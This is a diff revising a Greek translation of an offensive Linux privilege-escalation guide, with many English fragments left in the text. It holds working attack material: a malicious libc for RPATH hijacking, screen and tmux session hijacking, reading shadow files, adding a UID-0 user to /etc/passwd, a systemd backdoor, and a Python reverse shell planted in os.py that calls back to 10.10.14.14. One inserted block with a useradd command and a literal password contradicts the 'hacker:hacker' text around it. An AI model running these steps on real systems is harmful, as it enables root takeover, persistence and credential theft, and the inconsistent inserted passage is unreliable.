[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Ή εκτελώντας κάτι όπως: +Ή τρέχοντας κάτι σαν: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Με την αντιγραφή της lib στο `/var/tmp/flag15/` θα χρησιμοποιηθεί από το πρόγραμμα σε αυτή τη θέση όπως ορίζεται στη μεταβλητή `RPATH`. +Με την αντιγραφή της lib στο `/var/tmp/flag15/`, θα χρησιμοποιηθεί από το πρόγραμμα σε αυτή τη θέση όπως ορίζεται στη μεταβλητή `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1094,7 +1122,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Στη συνέχεια, δημιουργήστε μια κακόβουλη βιβλιοθήκη στο `/var/tmp` με `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Κατόπιν δημιούργησε μια κακόβουλη βιβλιοθήκη στο `/var/tmp` με `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1109,38 +1137,38 @@ execve(file,argv,0); ``` ## Δυνατότητες -Οι Linux capabilities παρέχουν ένα **υποσύνολο των διαθέσιμων προνομίων του root σε μια διεργασία**. Αυτό ουσιαστικά διασπά τα root **προνόμια σε μικρότερες και διακριτές μονάδες**. Κάθε μία από αυτές τις μονάδες μπορεί στη συνέχεια να χορηγηθεί ανεξάρτητα σε διεργασίες. Έτσι μειώνεται το πλήρες σύνολο προνομίων, μειώνοντας τον κίνδυνο εκμετάλλευσης.\ -Διαβάστε την ακόλουθη σελίδα για να **μάθετε περισσότερα για τις δυνατότητες και πώς να τις καταχραστείτε**: +Linux capabilities provide a **υποσύνολο των διαθέσιμων προνομίων root σε μια διεργασία**. Αυτό ουσιαστικά σπάει τα **προνόμια root σε μικρότερες και διακριτές μονάδες**. Καθεμία από αυτές τις μονάδες μπορεί στη συνέχεια να παραχωρηθεί ανεξάρτητα σε διεργασίες. Με αυτόν τον τρόπο το πλήρες σύνολο προνομίων μειώνεται, μειώνοντας τους κινδύνους εκμετάλλευσης.\ +Διαβάστε την επόμενη σελίδα για να **μάθετε περισσότερα σχετικά με τις capabilities και πώς να τις καταχραστείτε**: {{#ref}} linux-capabilities.md {{#endref}} -## Δικαιώματα καταλόγου +## Directory permissions -Σε έναν κατάλογο, το **bit για "execute"** σημαίνει ότι ο αντίστοιχος χρήστης μπορεί να **cd** στον φάκελο.\ -Το **"read"** bit υποδηλώνει ότι ο χρήστης μπορεί να **list** τα **files**, και το **"write"** bit ότι ο χρήστης μπορεί να **delete** και να **create** νέα **files**. +Σε έναν κατάλογο, το **bit για "execute"** υποδηλώνει ότι ο χρήστης επηρεαζόμενος μπορεί να "**cd**" μέσα στο φάκελο.\ +Το **"read"** bit υποδηλώνει ότι ο χρήστης μπορεί να **απαριθμήσει** τα **αρχεία**, και το **"write"** bit υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και να **δημιουργήσει** νέα **αρχεία**. ## ACLs -Οι Access Control Lists (ACLs) αποτελούν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανό να **αναιρεί τα παραδοσιακά ugo/rwx permissions**. Αυτά τα δικαιώματα βελτιώνουν τον έλεγχο πρόσβασης σε αρχεία ή καταλόγους, επιτρέποντας ή απορρίπτοντας δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) αποτελούν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανό να **αντικαθιστά τα παραδοσιακά ugo/rwx permissions**. Αυτά τα δικαιώματα βελτιώνουν τον έλεγχο πρόσβασης σε αρχείο ή κατάλογο επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Δώστε** στον χρήστη "kali" δικαιώματα read και write σε ένα αρχείο: +**Δώστε** user "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Λήψη** αρχείων με συγκεκριμένα ACLs από το σύστημα: +**Λάβετε** αρχεία με συγκεκριμένα ACLs από το σύστημα: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Ανοικτές shell συνεδρίες +## Άνοιγμα shell συνεδριών -Σε **παλαιότερες εκδόσεις** μπορείτε να **hijack** κάποια **shell** συνεδρία άλλου χρήστη (**root**).\ -Σε **νεότερες εκδόσεις** θα μπορείτε να **συνδεθείτε** σε screen sessions μόνο του **δικού σας χρήστη**. Ωστόσο, μπορεί να βρείτε **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**. +Σε **παλαιότερες εκδόσεις** μπορεί να **hijack** κάποια **shell** συνεδρία διαφορετικού χρήστη (**root**).\ +Σε **πιο πρόσφατες εκδόσεις** θα μπορείτε να **connect** σε screen sessions μόνο του δικού σας χρήστη. Παρόλα αυτά, μπορεί να βρείτε **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**. ### screen sessions hijacking @@ -1151,7 +1179,7 @@ screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**Σύνδεση σε συνεδρία** +**Συνδέσου σε session** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1159,7 +1187,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Αυτό ήταν ένα πρόβλημα με τις **παλιές tmux εκδόσεις**. Δεν κατάφερα να hijack μια tmux (v2.1) session που είχε δημιουργηθεί από τον root ως χρήστης χωρίς προνόμια. +Αυτό ήταν ένα πρόβλημα με τις **παλιές tmux versions**. Δεν μπόρεσα να hijack μια tmux (v2.1) session που δημιουργήθηκε από τον root ως μη προνομιούχος χρήστης. **Λίστα tmux sessions** ```bash @@ -1169,7 +1197,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**Συνδεθείτε σε μια συνεδρία** +**Συνδέσου σε μια συνεδρία** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1179,51 +1207,51 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** για ένα παράδειγμα. +Δείτε το **Valentine box from HTB** για παράδειγμα. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Όλα τα SSL και SSH keys που δημιουργήθηκαν σε συστήματα βασισμένα σε Debian (Ubuntu, Kubuntu, κ.λπ.) μεταξύ Σεπτεμβρίου 2006 και 13 Μαΐου 2008 ενδέχεται να επηρεάζονται από αυτό το σφάλμα.\ -Αυτό το σφάλμα προκύπτει κατά τη δημιουργία νέου ssh key σε αυτά τα OS, καθώς **μόνο 32,768 παραλλαγές ήταν δυνατές**. Αυτό σημαίνει ότι όλες οι πιθανότητες μπορούν να υπολογιστούν και **έχοντας το ssh public key μπορείτε να αναζητήσετε το αντίστοιχο private key**. Μπορείτε να βρείτε τις υπολογισμένες πιθανότητες εδώ: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ +Αυτό το σφάλμα προκαλείται όταν δημιουργείται ένα νέο ssh key σε αυτά τα OS, καθώς **μόνο 32,768 παραλλαγές ήταν δυνατές**. Αυτό σημαίνει ότι όλες οι πιθανότητες μπορούν να υπολογιστούν και **έχοντας το ssh public key μπορείτε να αναζητήσετε το αντίστοιχο private key**. Μπορείτε να βρείτε τις υπολογισμένες πιθανότητες εδώ: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Καθορίζει αν επιτρέπεται η αυθεντικοποίηση με κωδικό. Η προεπιλογή είναι `no`. -- **PubkeyAuthentication:** Καθορίζει αν επιτρέπεται η αυθεντικοποίηση με public key. Η προεπιλογή είναι `yes`. -- **PermitEmptyPasswords**: Όταν επιτρέπεται η αυθεντικοποίηση με κωδικό, καθορίζει αν ο διακομιστής επιτρέπει είσοδο σε λογαριασμούς με κενές συμβολοσειρές κωδικού. Η προεπιλογή είναι `no`. +- **PasswordAuthentication:** Συγκαθορίζει αν επιτρέπεται η authentication με password. The default is `no`. +- **PubkeyAuthentication:** Συγκαθορίζει αν επιτρέπεται η authentication με public key. The default is `yes`. +- **PermitEmptyPasswords**: Όταν επιτρέπεται η authentication με password, καθορίζει αν ο server επιτρέπει σύνδεση σε λογαριασμούς με κενές συμβολοσειρές password. The default is `no`. ### PermitRootLogin -Καθορίζει αν ο root μπορεί να συνδεθεί μέσω ssh, η προεπιλογή είναι `no`. Πιθανές τιμές: +Συγκαθορίζει αν ο root μπορεί να συνδεθεί μέσω ssh, default is `no`. Possible values: -- `yes`: ο root μπορεί να συνδεθεί χρησιμοποιώντας κωδικό και private key -- `without-password` or `prohibit-password`: ο root μπορεί να συνδεθεί μόνο με private key -- `forced-commands-only`: ο root μπορεί να συνδεθεί μόνο με private key και μόνο εάν έχουν καθοριστεί οι επιλογές commands -- `no` : όχι +- `yes`: root can login using password and private key +- `without-password` or `prohibit-password`: root can only login with a private key +- `forced-commands-only`: Root can login only using private key and if the commands options are specified +- `no` : no ### AuthorizedKeysFile -Καθορίζει αρχεία που περιέχουν τα public keys που μπορούν να χρησιμοποιηθούν για την αυθεντικοποίηση χρηστών. Μπορεί να περιέχει tokens όπως `%h`, που θα αντικατασταθούν από τον κατάλογο home. **Μπορείτε να δηλώσετε απόλυτες διαδρομές** (ξεκινώντας από `/`) ή **σχετικές διαδρομές από το home του χρήστη**. Για παράδειγμα: +Συγκαθορίζει αρχεία που περιέχουν τα public keys που μπορούν να χρησιμοποιηθούν για user authentication. Μπορεί να περιέχει tokens όπως `%h`, που θα αντικατασταθούν από τον home directory. **Μπορείτε να υποδείξετε absolute paths** (ξεκινώντας με `/`) ή **relative paths από το home του χρήστη**. For example: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Αυτή η ρύθμιση θα υποδείξει ότι αν προσπαθήσεις να συνδεθείς με το **private** key του χρήστη "**testusername**", το ssh θα συγκρίνει το public key του κλειδιού σου με εκείνα που βρίσκονται στα `/home/testusername/.ssh/authorized_keys` και `/home/testusername/access` +Αυτή η ρύθμιση θα υποδείξει ότι αν προσπαθήσετε να συνδεθείτε με το **private** key του χρήστη "**testusername**", το ssh θα συγκρίνει το public key του κλειδιού σας με αυτά που βρίσκονται στο `/home/testusername/.ssh/authorized_keys` και στο `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -Το SSH agent forwarding σου επιτρέπει να **use your local SSH keys instead of leaving keys** (χωρίς passphrases!) να μένουν στο server σου. Έτσι, θα μπορείς να **jump** via ssh **to a host** και από εκεί **jump to another** host **using** το **key** που βρίσκεται στον **initial host** σου. +Το SSH agent forwarding σάς επιτρέπει να **use your local SSH keys instead of leaving keys** (without passphrases!) στο server σας. Έτσι, θα μπορείτε να **jump** μέσω ssh **to a host** και από εκεί **jump to another** host **using** το **key** που βρίσκεται στον **initial host** σας. -Πρέπει να ορίσεις αυτή την επιλογή στο `$HOME/.ssh.config` ως εξής: +Πρέπει να ορίσετε αυτή την επιλογή στο `$HOME/.ssh.config` ως εξής: ``` Host example.com ForwardAgent yes ``` -Παρατηρήστε ότι αν το `Host` είναι `*`, κάθε φορά που ο χρήστης αλλάζει μηχάνημα, αυτός ο host θα μπορεί να έχει πρόσβαση στα κλειδιά (που αποτελεί ζήτημα ασφαλείας). +Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). -Το αρχείο `/etc/ssh_config` μπορεί να **αντικαταστήσει** αυτές τις **επιλογές** και να επιτρέψει ή να απορρίψει αυτή τη ρύθμιση.\ -Το αρχείο `/etc/sshd_config` μπορεί να **επιτρέψει** ή να **απορρίψει** το ssh-agent forwarding με τη λέξη-κλειδί `AllowAgentForwarding` (default is allow). +Το αρχείο `/etc/ssh_config` μπορεί να **αντικαταστήσει** αυτές τις **επιλογές** και να επιτρέψει ή να αρνηθεί αυτή τη ρύθμιση.\ +Το αρχείο `/etc/sshd_config` μπορεί να **επιτρέψει** ή να **αρνηθεί** το ssh-agent forwarding με την λέξη-κλειδί `AllowAgentForwarding` (default is allow). If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: @@ -1232,72 +1260,81 @@ If you find that Forward Agent is configured in an environment read the followin ssh-forward-agent-exploitation.md {{#endref}} -## Σημαντικά Αρχεία +## Interesting Files -### Αρχεία προφίλ +### Αρχεία profile -Το αρχείο `/etc/profile` και τα αρχεία κάτω από το `/etc/profile.d/` είναι **scripts που εκτελούνται όταν ένας χρήστης ανοίγει ένα νέο shell**. Επομένως, αν μπορείτε να **γράψετε ή να τροποποιήσετε οποιοδήποτε από αυτά, μπορείτε να escalate privileges**. +Το αρχείο `/etc/profile` και τα αρχεία κάτω από `/etc/profile.d/` είναι **σκριπτά που εκτελούνται όταν ένας χρήστης ανοίγει ένα νέο shell**. Επομένως, αν μπορείτε **να γράψετε ή να τροποποιήσετε οποιοδήποτε από αυτά, μπορείτε να escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Αν βρεθεί κάποιο περίεργο profile script, πρέπει να το ελέγξετε για **ευαίσθητες λεπτομέρειες**. +Αν εντοπιστεί κάποιο περίεργο profile script, πρέπει να το ελέγξετε για **ευαίσθητες πληροφορίες**. -### Passwd/Shadow Files +### Passwd/Shadow αρχεία -Ανάλογα με το OS τα αρχεία `/etc/passwd` και `/etc/shadow` μπορεί να χρησιμοποιούν διαφορετικό όνομα ή να υπάρχει κάποιο backup. Επομένως συνιστάται να **τα βρείτε όλα** και **ελέγξετε αν μπορείτε να τα διαβάσετε** ώστε να δείτε **αν υπάρχουν hashes** μέσα στα αρχεία: +Ανάλογα με το λειτουργικό σύστημα, τα αρχεία `/etc/passwd` και `/etc/shadow` μπορεί να έχουν διαφορετικό όνομα ή να υπάρχει κάποιο backup. Επομένως, συνιστάται να **τα βρείτε όλα** και να **ελέγξετε αν μπορείτε να τα διαβάσετε** για να δείτε **αν υπάρχουν hashes** μέσα στα αρχεία: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Σε ορισμένες περιπτώσεις μπορείτε να βρείτε **password hashes** μέσα στο `/etc/passwd` (ή στο αντίστοιχο αρχείο) +Σε ορισμένες περιπτώσεις μπορείς να βρεις **password hashes** μέσα στο `/etc/passwd` (ή στο αντίστοιχο αρχείο) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### Εγγράψιμο /etc/passwd -Πρώτα, δημιούργησε έναν κωδικό με μία από τις παρακάτω εντολές. +Πρώτα, δημιούργησε έναν κωδικό πρόσβασης με μία από τις παρακάτω εντολές. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Στη συνέχεια, πρόσθεσε τον χρήστη `hacker` και όρισε τον δημιουργημένο κωδικό πρόσβασης. +Προσθέστε τον χρήστη `hacker` και ορίστε τον παραχθέντα κωδικό πρόσβασης: + +``` +sudo useradd -m -s /bin/bash hacker +echo 'hacker:z9G$k7Qp!W2s#VtL' | sudo chpasswd +sudo passwd -e hacker +``` + +Ο παραχθείς κωδικός είναι: `z9G$k7Qp!W2s#VtL` ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` Π.χ: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Τώρα μπορείτε να χρησιμοποιήσετε την εντολή `su` με `hacker:hacker` +Μπορείτε τώρα να χρησιμοποιήσετε την εντολή `su` με `hacker:hacker` -Εναλλακτικά, μπορείτε να χρησιμοποιήσετε τις παρακάτω γραμμές για να προσθέσετε έναν δοκιμαστικό χρήστη χωρίς κωδικό πρόσβασης.\ ΠΡΟΕΙΔΟΠΟΙΗΣΗ: μπορεί να υποβαθμίσει την τρέχουσα ασφάλεια της μηχανής. +Εναλλακτικά, μπορείτε να χρησιμοποιήσετε τις ακόλουθες γραμμές για να προσθέσετε έναν ψευδοχρήστη χωρίς κωδικό.\ +ΠΡΟΕΙΔΟΠΟΙΗΣΗ: μπορεί να υποβαθμίσει την τρέχουσα ασφάλεια της μηχανής. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -ΣΗΜΕΙΩΣΗ: Σε πλατφόρμες BSD το `/etc/passwd` βρίσκεται στο `/etc/pwd.db` και στο `/etc/master.passwd`, επίσης το `/etc/shadow` μετονομάζεται σε `/etc/spwd.db`. +ΣΗΜΕΙΩΣΗ: Σε πλατφόρμες BSD το `/etc/passwd` βρίσκεται στα `/etc/pwd.db` και `/etc/master.passwd`, ενώ το `/etc/shadow` μετονομάζεται σε `/etc/spwd.db`. -Πρέπει να ελέγξεις αν μπορείς να **γράψεις σε κάποια ευαίσθητα αρχεία**. Για παράδειγμα, μπορείς να γράψεις σε κάποιο **service configuration file**; +Πρέπει να ελέγξεις αν μπορείς να **γράψεις σε κάποια ευαίσθητα αρχεία**. Για παράδειγμα, μπορείς να γράψεις σε κάποιο **αρχείο ρυθμίσεων υπηρεσίας**; ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Για παράδειγμα, αν η μηχανή τρέχει έναν **tomcat** server και μπορείτε να **modify the Tomcat service configuration file inside /etc/systemd/,** τότε μπορείτε να τροποποιήσετε τις γραμμές: +Για παράδειγμα, εάν η μηχανή τρέχει έναν **tomcat** server και μπορείτε να **τροποποιήσετε το αρχείο ρύθμισης της υπηρεσίας Tomcat μέσα στο /etc/systemd/,** τότε μπορείτε να τροποποιήσετε τις γραμμές: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Το backdoor θα εκτελεστεί την επόμενη φορά που θα ξεκινήσει ο tomcat. +Το backdoor σας θα εκτελεστεί την επόμενη φορά που θα ξεκινήσει ο tomcat. ### Έλεγχος φακέλων -Οι ακόλουθοι φάκελοι μπορεί να περιέχουν backups ή ενδιαφέρουσες πληροφορίες: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Πιθανότατα δεν θα μπορείτε να διαβάσετε τον τελευταίο, αλλά δοκιμάστε) +Οι παρακάτω φάκελοι μπορεί να περιέχουν αντίγραφα ασφαλείας ή ενδιαφέρουσες πληροφορίες: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Πιθανότατα δεν θα μπορείτε να διαβάσετε τον τελευταίο αλλά δοκιμάστε) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Περίεργη Τοποθεσία/Owned files +### Παράξενη τοποθεσία/Owned αρχεία ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1314,11 +1351,11 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Τροποποιημένα αρχεία τελευταίων λεπτών +### Αρχεία τροποποιημένα τα τελευταία λεπτά ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Αρχεία Sqlite DB +### Sqlite DB αρχεία ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1326,11 +1363,11 @@ find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` -### Κρυμμένα αρχεία +### Κρυφά αρχεία ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries σε PATH** +### **Script/Binaries στο PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1349,19 +1386,19 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ### Γνωστά αρχεία που περιέχουν κωδικούς Διάβασε τον κώδικα του [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ψάχνει για **πολλά πιθανά αρχεία που μπορεί να περιέχουν κωδικούς**.\ -**Ένα ακόμα ενδιαφέρον εργαλείο** που μπορείτε να χρησιμοποιήσετε γι' αυτό είναι: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) το οποίο είναι μια εφαρμογή ανοιχτού κώδικα που χρησιμοποιείται για την ανάκτηση πολλών κωδικών που αποθηκεύονται σε έναν τοπικό υπολογιστή για Windows, Linux & Mac. +**Ένα ακόμη ενδιαφέρον εργαλείο** που μπορείς να χρησιμοποιήσεις για αυτό είναι: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) το οποίο είναι μια εφαρμογή open source που χρησιμοποιείται για την ανάκτηση πολλών κωδικών αποθηκευμένων σε τοπικό υπολογιστή για Windows, Linux & Mac. -### Logs +### Καταγραφές -Αν μπορείτε να διαβάσετε logs, μπορεί να καταφέρετε να βρείτε **ενδιαφέρουσες/εμπιστευτικές πληροφορίες μέσα σε αυτά**. Όσο πιο παράξενο είναι ένα log, τόσο πιο ενδιαφέρον πιθανότατα θα είναι.\ -Επίσης, κάποια "**κακώς**" configured (backdoored?) **audit logs** μπορεί να σας επιτρέψουν να **καταγράψετε κωδικούς** μέσα στα audit logs όπως εξηγείται σε αυτή την ανάρτηση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Αν μπορείς να διαβάσεις καταγραφές, ίσως μπορέσεις να βρεις **ενδιαφέρουσες/εμπιστευτικές πληροφορίες μέσα τους**. Όσο πιο περίεργη είναι μια καταγραφή, τόσο πιο πιθανό είναι να είναι ενδιαφέρουσα.\ +Επίσης, μερικά "**κακώς**" ρυθμισμένα (backdoored?) **audit logs** μπορεί να σου επιτρέψουν να **καταγράψεις κωδικούς** μέσα στα audit logs όπως εξηγείται σε αυτό το άρθρο: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Για να **διαβάσετε τα logs**, η ομάδα [**adm**](interesting-groups-linux-pe/index.html#adm-group) θα είναι πολύ χρήσιμη. +Για να **διαβάσετε τα logs η ομάδα** [**adm**](interesting-groups-linux-pe/index.html#adm-group) θα είναι πραγματικά χρήσιμη. -### Shell αρχεία +### Αρχεία Shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1372,43 +1409,43 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Γενική Αναζήτηση Creds/Regex +### Γενική Creds Search/Regex -Επίσης πρέπει να ελέγξετε για αρχεία που περιέχουν τη λέξη "**password**" στο **όνομα** τους ή στο **περιεχόμενο**, και επίσης να ελέγξετε για IPs και emails μέσα σε logs, ή hashes regexps.\ -Δεν πρόκειται να απαριθμήσω εδώ πώς να κάνετε όλα αυτά αλλά αν σας ενδιαφέρει μπορείτε να ελέγξετε τους τελευταίους ελέγχους που εκτελεί το [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). +Θα πρέπει επίσης να ελέγξετε για αρχεία που περιέχουν τη λέξη "**password**" στο **name** τους ή μέσα στο **content**, και επίσης να ελέγξετε για IPs και emails μέσα σε logs, ή για regexps που αντιστοιχούν σε hashes.\ +Δεν πρόκειται να απαριθμήσω εδώ πώς να κάνετε όλα αυτά αλλά αν ενδιαφέρεστε μπορείτε να δείτε τους τελευταίους ελέγχους που εκτελεί το [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). ## Εγγράψιμα αρχεία ### Python library hijacking -Αν ξέρετε από **πού** θα εκτελεστεί ένα python script και **μπορείτε να γράψετε μέσα** σε αυτόν τον φάκελο ή **μπορείτε να τροποποιήσετε python libraries**, μπορείτε να τροποποιήσετε τη βιβλιοθήκη OS και να την backdoor (αν μπορείτε να γράψετε εκεί όπου θα εκτελεστεί το python script, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py). +If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). -Για να **backdoor the library** απλώς προσθέστε στο τέλος της βιβλιοθήκης os.py την ακόλουθη γραμμή (αλλάξτε IP και PORT): +To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Εκμετάλλευση logrotate +### Εκμετάλλευση του logrotate -Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **write permissions** σε ένα log αρχείο ή στους γονικούς καταλόγους του να αποκτήσουν ενδεχομένως αυξημένα προνόμια. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά τρέχει ως **root**, μπορεί να χειραγωγηθεί ώστε να εκτελέσει αυθαίρετα αρχεία, ειδικά σε καταλόγους όπως _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε κατάλογο όπου εφαρμόζεται η περιστροφή logs. +Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα log αρχείο ή στους γονικούς καταλόγους του να αποκτήσουν ενδεχομένως αυξημένα προνόμια. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά τρέχει ως **root**, μπορεί να παραβιαστεί ώστε να εκτελέσει αυθαίρετα αρχεία, ειδικά σε καταλόγους όπως _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε κατάλογο όπου εφαρμόζεται περιστροφή αρχείων καταγραφής. > [!TIP] -> Αυτή η ευπάθεια επηρεάζει το `logrotate` στην έκδοση `3.18.0` και παλαιότερες +> Αυτή η ευπάθεια επηρεάζει την έκδοση `logrotate` `3.18.0` και παλαιότερες Περισσότερες λεπτομέρειες για την ευπάθεια υπάρχουν σε αυτή τη σελίδα: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια με [**logrotten**](https://github.com/whotwagner/logrotten). +Μπορείτε να εκμεταλλευτείτε αυτήν την ευπάθεια με το [**logrotten**](https://github.com/whotwagner/logrotten). -Αυτή η ευπάθεια είναι πολύ παρόμοια με [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** οπότε όποτε διαπιστώνετε ότι μπορείτε να τροποποιήσετε logs, ελέγξτε ποιος τα διαχειρίζεται και αν μπορείτε να αυξήσετε προνόμια αντικαθιστώντας τα logs με symlinks. +Αυτή η ευπάθεια είναι πολύ παρόμοια με το [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** οπότε κάθε φορά που βρίσκετε ότι μπορείτε να 